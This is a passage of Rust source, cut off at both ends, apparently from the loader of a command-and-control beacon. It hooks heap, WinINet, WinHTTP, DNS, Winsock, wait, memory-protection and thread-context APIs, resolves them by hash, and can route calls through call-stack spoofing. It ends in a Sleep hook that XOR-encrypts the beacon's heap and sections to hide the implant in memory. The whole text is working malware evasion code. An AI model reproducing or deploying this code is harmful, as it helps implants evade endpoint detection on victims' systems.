|
||||
api.ntdll.RtlAllocateHeap(heap_handle, flags, size)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn HeapAlloc_Hook(
|
||||
h_heap: HANDLE,
|
||||
dw_flags: DWORD,
|
||||
dw_bytes: SIZE_T,
|
||||
) -> LPVOID {
|
||||
RtlAllocateHeap_Hook(h_heap, dw_flags, dw_bytes)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// WinINet hooks - external module, resolve by hash + spoof_uwd!
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn InternetOpenA_Hook(
|
||||
lpsz_agent: LPCSTR,
|
||||
dw_access_type: DWORD,
|
||||
lpsz_proxy: LPCSTR,
|
||||
lpsz_proxy_bypass: LPCSTR,
|
||||
dw_flags: DWORD,
|
||||
) -> HINTERNET {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnInternetOpenA = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("InternetOpenA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
lpsz_agent,
|
||||
dw_access_type as usize,
|
||||
lpsz_proxy,
|
||||
lpsz_proxy_bypass,
|
||||
dw_flags as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
lpsz_agent,
|
||||
dw_access_type,
|
||||
lpsz_proxy,
|
||||
lpsz_proxy_bypass,
|
||||
dw_flags,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn InternetConnectA_Hook(
|
||||
h_internet: HINTERNET,
|
||||
lpsz_server_name: LPCSTR,
|
||||
n_server_port: INTERNET_PORT,
|
||||
lpsz_user_name: LPCSTR,
|
||||
lpsz_password: LPCSTR,
|
||||
dw_service: DWORD,
|
||||
dw_flags: DWORD,
|
||||
dw_context: DWORD_PTR,
|
||||
) -> HINTERNET {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnInternetConnectA = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("InternetConnectA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_internet,
|
||||
lpsz_server_name,
|
||||
n_server_port as usize,
|
||||
lpsz_user_name,
|
||||
lpsz_password,
|
||||
dw_service as usize,
|
||||
dw_flags as usize,
|
||||
dw_context as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_internet,
|
||||
lpsz_server_name,
|
||||
n_server_port,
|
||||
lpsz_user_name,
|
||||
lpsz_password,
|
||||
dw_service,
|
||||
dw_flags,
|
||||
dw_context,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn HttpOpenRequestA_Hook(
|
||||
h_connect: HINTERNET,
|
||||
lpsz_verb: LPCSTR,
|
||||
lpsz_object_name: LPCSTR,
|
||||
lpsz_version: LPCSTR,
|
||||
lpsz_referrer: LPCSTR,
|
||||
lplpsz_accept_types: *const LPCSTR,
|
||||
dw_flags: DWORD,
|
||||
dw_context: DWORD_PTR,
|
||||
) -> HINTERNET {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnHttpOpenRequestA = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("HttpOpenRequestA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_connect,
|
||||
lpsz_verb,
|
||||
lpsz_object_name,
|
||||
lpsz_version,
|
||||
lpsz_referrer,
|
||||
lplpsz_accept_types,
|
||||
dw_flags as usize,
|
||||
dw_context as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_connect,
|
||||
lpsz_verb,
|
||||
lpsz_object_name,
|
||||
lpsz_version,
|
||||
lpsz_referrer,
|
||||
lplpsz_accept_types,
|
||||
dw_flags,
|
||||
dw_context,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn HttpSendRequestA_Hook(
|
||||
h_request: HINTERNET,
|
||||
lpsz_headers: LPCSTR,
|
||||
dw_headers_length: DWORD,
|
||||
lp_optional: LPVOID,
|
||||
dw_optional_length: DWORD,
|
||||
) -> BOOL {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnHttpSendRequestA = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("HttpSendRequestA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
lpsz_headers,
|
||||
dw_headers_length as usize,
|
||||
lp_optional,
|
||||
dw_optional_length as usize
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_request,
|
||||
lpsz_headers,
|
||||
dw_headers_length,
|
||||
lp_optional,
|
||||
dw_optional_length,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn HttpQueryInfoA_Hook(
|
||||
h_request: HINTERNET,
|
||||
dw_info_level: DWORD,
|
||||
lp_buffer: LPVOID,
|
||||
lpdw_buffer_length: LPDWORD,
|
||||
lpdw_index: LPDWORD,
|
||||
) -> BOOL {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnHttpQueryInfoA = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("HttpQueryInfoA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
dw_info_level as usize,
|
||||
lp_buffer,
|
||||
lpdw_buffer_length,
|
||||
lpdw_index
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_request,
|
||||
dw_info_level,
|
||||
lp_buffer,
|
||||
lpdw_buffer_length,
|
||||
lpdw_index,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn InternetReadFile_Hook(
|
||||
h_file: HINTERNET,
|
||||
lp_buffer: LPVOID,
|
||||
dw_number_of_bytes_to_read: DWORD,
|
||||
lpdw_number_of_bytes_read: LPDWORD,
|
||||
) -> BOOL {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnInternetReadFile = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("InternetReadFile") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_file,
|
||||
lp_buffer,
|
||||
dw_number_of_bytes_to_read as usize,
|
||||
lpdw_number_of_bytes_read
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_file,
|
||||
lp_buffer,
|
||||
dw_number_of_bytes_to_read,
|
||||
lpdw_number_of_bytes_read,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn InternetQueryDataAvailable_Hook(
|
||||
h_file: HINTERNET,
|
||||
lpdw_number_of_bytes_available: LPDWORD,
|
||||
dw_flags: DWORD,
|
||||
dw_context: DWORD_PTR,
|
||||
) -> BOOL {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnInternetQueryDataAvailable = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("InternetQueryDataAvailable") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_file,
|
||||
lpdw_number_of_bytes_available,
|
||||
dw_flags as usize,
|
||||
dw_context as usize
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_file, lpdw_number_of_bytes_available, dw_flags, dw_context)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn InternetCloseHandle_Hook(h_internet: HINTERNET) -> BOOL {
|
||||
let wininet_base = get_loaded_module_by_hash(hash_str!("wininet.dll"));
|
||||
let f: FnInternetCloseHandle = transmute(api::util::api::<()>(
|
||||
wininet_base,
|
||||
hash_str!("InternetCloseHandle") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(&mut api.ntdll.spoof_config, f as *const c_void, h_internet)
|
||||
as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_internet)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// WinHTTP hooks - external module, resolve by hash + spoof_uwd!
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpOpen_Hook(
|
||||
pszAgentW: LPCWSTR,
|
||||
dw_access_type: DWORD,
|
||||
pszProxyW: LPCWSTR,
|
||||
pszProxyBypassW: LPCWSTR,
|
||||
dw_flags: DWORD,
|
||||
) -> HINTERNET {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpOpen = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpOpen") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
pszAgentW,
|
||||
dw_access_type as usize,
|
||||
pszProxyW,
|
||||
pszProxyBypassW,
|
||||
dw_flags as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
pszAgentW,
|
||||
dw_access_type,
|
||||
pszProxyW,
|
||||
pszProxyBypassW,
|
||||
dw_flags,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpConnect_Hook(
|
||||
h_session: HINTERNET,
|
||||
pswz_server_name: LPCWSTR,
|
||||
n_server_port: u16,
|
||||
dw_reserved: DWORD,
|
||||
) -> HINTERNET {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpConnect = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpConnect") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_session,
|
||||
pswz_server_name,
|
||||
n_server_port as usize,
|
||||
dw_reserved as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_session, pswz_server_name, n_server_port, dw_reserved)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpOpenRequest_Hook(
|
||||
h_connect: HINTERNET,
|
||||
pwsz_verb: LPCWSTR,
|
||||
pwsz_object_name: LPCWSTR,
|
||||
pwsz_version: LPCWSTR,
|
||||
pwsz_referrer: LPCWSTR,
|
||||
ppwsz_accept_types: *const LPCWSTR,
|
||||
dw_flags: DWORD,
|
||||
) -> HINTERNET {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpOpenRequest = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpOpenRequest") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_connect,
|
||||
pwsz_verb,
|
||||
pwsz_object_name,
|
||||
pwsz_version,
|
||||
pwsz_referrer,
|
||||
ppwsz_accept_types,
|
||||
dw_flags as usize
|
||||
) as HINTERNET;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_connect,
|
||||
pwsz_verb,
|
||||
pwsz_object_name,
|
||||
pwsz_version,
|
||||
pwsz_referrer,
|
||||
ppwsz_accept_types,
|
||||
dw_flags,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpSendRequest_Hook(
|
||||
h_request: HINTERNET,
|
||||
lpsz_headers: LPCWSTR,
|
||||
dw_headers_length: DWORD,
|
||||
lp_optional: LPVOID,
|
||||
dw_optional_length: DWORD,
|
||||
dw_total_length: DWORD,
|
||||
dw_context: DWORD_PTR,
|
||||
) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpSendRequest = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpSendRequest") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
lpsz_headers,
|
||||
dw_headers_length as usize,
|
||||
lp_optional,
|
||||
dw_optional_length as usize,
|
||||
dw_total_length as usize,
|
||||
dw_context as usize
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_request,
|
||||
lpsz_headers,
|
||||
dw_headers_length,
|
||||
lp_optional,
|
||||
dw_optional_length,
|
||||
dw_total_length,
|
||||
dw_context,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpReceiveResponse_Hook(
|
||||
h_request: HINTERNET,
|
||||
lp_reserved: LPVOID,
|
||||
) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpReceiveResponse = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpReceiveResponse") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
lp_reserved
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_request, lp_reserved)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpQueryHeaders_Hook(
|
||||
h_request: HINTERNET,
|
||||
dw_info_level: DWORD,
|
||||
pwsz_name: LPCWSTR,
|
||||
lp_buffer: LPVOID,
|
||||
lpdw_buffer_length: LPDWORD,
|
||||
lpdw_index: LPDWORD,
|
||||
) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpQueryHeaders = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpQueryHeaders") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
dw_info_level as usize,
|
||||
pwsz_name,
|
||||
lp_buffer,
|
||||
lpdw_buffer_length,
|
||||
lpdw_index
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_request,
|
||||
dw_info_level,
|
||||
pwsz_name,
|
||||
lp_buffer,
|
||||
lpdw_buffer_length,
|
||||
lpdw_index,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpReadData_Hook(
|
||||
h_request: HINTERNET,
|
||||
lp_buffer: LPVOID,
|
||||
dw_number_of_bytes_to_read: DWORD,
|
||||
lpdw_number_of_bytes_read: LPDWORD,
|
||||
) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpReadData = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpReadData") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
lp_buffer,
|
||||
dw_number_of_bytes_to_read as usize,
|
||||
lpdw_number_of_bytes_read
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
h_request,
|
||||
lp_buffer,
|
||||
dw_number_of_bytes_to_read,
|
||||
lpdw_number_of_bytes_read,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpQueryDataAvailable_Hook(
|
||||
h_request: HINTERNET,
|
||||
lpdw_number_of_bytes_available: LPDWORD,
|
||||
) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpQueryDataAvailable = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpQueryDataAvailable") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
h_request,
|
||||
lpdw_number_of_bytes_available
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_request, lpdw_number_of_bytes_available)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WinHttpCloseHandle_Hook(h_internet: HINTERNET) -> BOOL {
|
||||
let winhttp_base = get_loaded_module_by_hash(hash_str!("winhttp.dll"));
|
||||
let f: FnWinHttpCloseHandle = transmute(api::util::api::<()>(
|
||||
winhttp_base,
|
||||
hash_str!("WinHttpCloseHandle") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(&mut api.ntdll.spoof_config, f as *const c_void, h_internet)
|
||||
as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(h_internet)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// DNS hooks - external module, resolve by hash + spoof_uwd!
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn DnsExtractRecordsFromMessage_UTF8_Hook(
|
||||
p_dns_buffer: PVOID,
|
||||
w_message_length: WORD,
|
||||
pp_record: *mut PVOID,
|
||||
) -> i32 {
|
||||
let dnsapi_base = get_loaded_module_by_hash(hash_str!("dnsapi.dll"));
|
||||
let f: FnDnsExtractRecordsFromMessage_UTF8 = transmute(api::util::api::<()>(
|
||||
dnsapi_base,
|
||||
hash_str!("DnsExtractRecordsFromMessage_UTF8") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
p_dns_buffer,
|
||||
w_message_length as usize,
|
||||
pp_record
|
||||
) as i32;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(p_dns_buffer, w_message_length, pp_record)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn DnsWriteQuestionToBuffer_UTF8_Hook(
|
||||
p_dns_buffer: PVOID,
|
||||
pdw_buffer_size: LPDWORD,
|
||||
lpstr_name: LPCSTR,
|
||||
w_type: WORD,
|
||||
xid: WORD,
|
||||
f_recursion_desired: BOOL,
|
||||
) -> BOOL {
|
||||
let dnsapi_base = get_loaded_module_by_hash(hash_str!("dnsapi.dll"));
|
||||
let f: FnDnsWriteQuestionToBuffer_UTF8 = transmute(api::util::api::<()>(
|
||||
dnsapi_base,
|
||||
hash_str!("DnsWriteQuestionToBuffer_UTF8") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
p_dns_buffer,
|
||||
pdw_buffer_size,
|
||||
lpstr_name,
|
||||
w_type as usize,
|
||||
xid as usize,
|
||||
f_recursion_desired as usize
|
||||
) as BOOL;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(
|
||||
p_dns_buffer,
|
||||
pdw_buffer_size,
|
||||
lpstr_name,
|
||||
w_type,
|
||||
xid,
|
||||
f_recursion_desired,
|
||||
)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Winsock hook - external module, resolve by hash + spoof_uwd!
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WSASocketA_Hook(
|
||||
af: i32,
|
||||
socket_type: i32,
|
||||
protocol: i32,
|
||||
lp_protocol_info: LPVOID,
|
||||
g: u32,
|
||||
dw_flags: DWORD,
|
||||
) -> usize {
|
||||
let ws2_32_base = get_loaded_module_by_hash(hash_str!("ws2_32.dll"));
|
||||
let f: FnWSASocketA = transmute(api::util::api::<()>(
|
||||
ws2_32_base,
|
||||
hash_str!("WSASocketA") as usize,
|
||||
));
|
||||
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
{
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
return crate::spoof_uwd!(
|
||||
&mut api.ntdll.spoof_config,
|
||||
f as *const c_void,
|
||||
af as usize,
|
||||
socket_type as usize,
|
||||
protocol as usize,
|
||||
lp_protocol_info,
|
||||
g as usize,
|
||||
dw_flags as usize
|
||||
) as usize;
|
||||
}
|
||||
#[cfg(not(feature = "spoof-uwd"))]
|
||||
f(af, socket_type, protocol, lp_protocol_info, g, dw_flags)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Wait hooks - use persisted Api wrappers
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn NtWaitForSingleObject_Hook(
|
||||
handle: HANDLE,
|
||||
alertable: BOOLEAN,
|
||||
timeout: PLARGE_INTEGER,
|
||||
) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.NtWaitForSingleObject(handle, alertable, timeout)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WaitForSingleObject_Hook(
|
||||
h_handle: HANDLE,
|
||||
dw_milliseconds: DWORD,
|
||||
) -> DWORD {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.kernel32.WaitForSingleObject(h_handle, dw_milliseconds)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn WaitForSingleObjectEx_Hook(
|
||||
h_handle: HANDLE,
|
||||
dw_milliseconds: DWORD,
|
||||
b_alertable: BOOL,
|
||||
) -> DWORD {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.kernel32
|
||||
.WaitForSingleObjectEx(h_handle, dw_milliseconds, b_alertable)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Memory / thread hooks - use persisted Api wrappers
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn NtProtectVirtualMemory_Hook(
|
||||
process_handle: HANDLE,
|
||||
base_address: *mut PVOID,
|
||||
region_size: PSIZE_T,
|
||||
new_protect: ULONG,
|
||||
old_protect: PULONG,
|
||||
) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.NtProtectVirtualMemory(
|
||||
process_handle,
|
||||
base_address,
|
||||
region_size,
|
||||
new_protect,
|
||||
old_protect,
|
||||
)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn SystemFunction032_Hook(data: PUSTRING, key: PUSTRING) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.advapi.SystemFunction032(data, key)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn NtGetContextThread_Hook(
|
||||
thread_handle: HANDLE,
|
||||
thread_context: PCONTEXT,
|
||||
) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.NtGetContextThread(thread_handle, thread_context)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn NtSetContextThread_Hook(
|
||||
thread_handle: HANDLE,
|
||||
thread_context: PCONTEXT,
|
||||
) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.NtSetContextThread(thread_handle, thread_context)
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn NtContinue_Hook(
|
||||
context_record: PCONTEXT,
|
||||
test_alert: BOOLEAN,
|
||||
) -> NTSTATUS {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
|
||||
api.ntdll.NtContinue(context_record, test_alert)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Sleep hook - copies Api to stack (heap gets encrypted during sleep)
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn Sleep_Hook(dw_milliseconds: DWORD) {
|
||||
let stub_ptr = StubAddr() as PSTUB;
|
||||
|
||||
// Copy Api to stack - the beacon heap (where Api lives) gets encrypted
|
||||
// during sleep obfuscation, so we need a local copy that survives.
|
||||
let mut api: Api = core::ptr::read((*stub_ptr).api);
|
||||
|
||||
dbg_print!(api, b"[HOOK:Sleep] ms: %d\n\0", dw_milliseconds);
|
||||
|
||||
// Set up sleep context from STUB fields
|
||||
api.sleep.cfg = 0;
|
||||
api.sleep.dw_milliseconds = dw_milliseconds;
|
||||
api.sleep.buffer = (*stub_ptr).stub_beacon_address as _;
|
||||
api.sleep.length = (*stub_ptr).stub_beacon_size as _;
|
||||
api.sleep.stub_size = (*stub_ptr).stub_size as _;
|
||||
api.sleep.heap = (*stub_ptr).beacon_heap_handle;
|
||||
api.sleep.num_sections =
|
||||
core::ptr::read_unaligned(core::ptr::addr_of!((*stub_ptr).num_sections)) as usize;
|
||||
|
||||
for i in 0..api.sleep.num_sections.min(20) {
|
||||
api.sleep.sections[i] =
|
||||
core::ptr::read_unaligned(core::ptr::addr_of!((*stub_ptr).sections[i]));
|
||||
}
|
||||
|
||||
#[cfg(feature = "sleep-xor")]
|
||||
{
|
||||
if dw_milliseconds >= 1000 {
|
||||
dbg_print!(api, b"[HOOK:Sleep] XOR heap + sections\n\0");
|
||||
xor_heap(&mut api);
|
||||
xor::mask_memory_from_context(&mut api, true);
|
||||
}
|
||||
|
||||
